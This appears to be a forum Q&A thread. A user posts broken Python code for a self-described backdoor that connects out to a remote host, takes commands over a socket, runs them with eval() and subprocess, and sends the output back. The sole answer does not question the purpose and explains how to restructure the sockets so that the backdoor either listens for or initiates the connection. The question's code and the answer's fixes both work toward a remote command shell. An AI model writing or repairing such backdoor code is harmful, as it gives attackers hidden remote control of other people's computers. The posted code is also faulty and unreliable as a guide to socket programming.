Behind7Proxies
Behind7Proxies

Reputation: 1

Put into a variable the result of listen a TCP port

I was making an experimental backdoor that needs to put into a variable the string that I will send to the port number 433. I try this, but it doesn't work. Here's the code:

 import socket
 import time
 import subprocess

 host = ''  # <-- WRITE HERE THE HOST TO RECIVE INFO
 port = '433'
 s = socket.socket()
 s.accept()
 my_ip = socket.gethostbyname(socket.gethostname())
 s.bind((host, port))
 try:
     s.connect()
 except socket.error():
     time.sleep(5)
     s.connect()
 s.send("\n[*] Status: Conected!")
 s.listen(port)
 while 1:
     time.sleep(2)
     s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
     s.send("\n[*] Status: Listening port " + str(port) + "...")
     rmt_cmd = s.recv(1024)
     if rmt_cmd != "":
         eval(rmt_cmd)
         s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
         process = subprocess.Popen(rmt_cmd, shell=False,
         stdout=subprocess.PIPE, stderr=subprocess.PIPE,       stdin=subprocess.PIPE)
         cmd_output = process.stdout.read() + process.stderr.read()
         s.send("\n[*] Command output/error(s):")
         s.send("\n[*] " + cmd_output)
     else:
         s.send("\n[*] No command recived")
         s.send("\n[*] Status: Listening port " + str(port) + "...")

Here the code try to connect to the host, and if there is an error, it waits 5 second and try again, because the other computer has an program that initiate with the OS that accept the connections, so the backdoor wait 5 seconds because the computer may be turning on:

 try:
         s.connect()
     except socket.error():
         time.sleep(5)
         s.connect()

but the problem is that I want to put into rmt_cmd (remote_command) the string that I will send to the port 433, and this give me another thing:

rmt_cmd = s.recv(1024)

How can I do it?

Upvotes: 0

Views: 563

Answers (1)

u354356007
u354356007

Reputation: 3215

Although I understand what you're trying to do, the way you're trying to achieve this needs to be reworked.

s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
    s.connect()
except socket.error():
    time.sleep(5)
    s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)

You need to get understanding of what you actually want.

1) Do you want your backdoor to stay passive and wait for a connection? Then it should be like this:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(address)  # your host/port pair that client will need to connect to
sock.listen(5)
client_sock = sock.accept()  # all the communications happen with 
                             # client_sock since now

In this case it is also possible that your OS won't let you bind 433 port. Ports below 1024 are usually forbidden to use by third party apps to prevent conflicts and backdoors (ha-ha).

2) Do you want your backdoor to actively connect to the remote host? Just create socket and use its connect method. Don't mix bind+listen+accept (passive socket mode) with connect (active mode).

rmt_cmd = s.recv(1024) part is unreliable and needs to be refactored. The same thing with s.send usages. Use s.sendall instead or there's a change you won't send the whole message in one send.

Upvotes: 1

Related Questions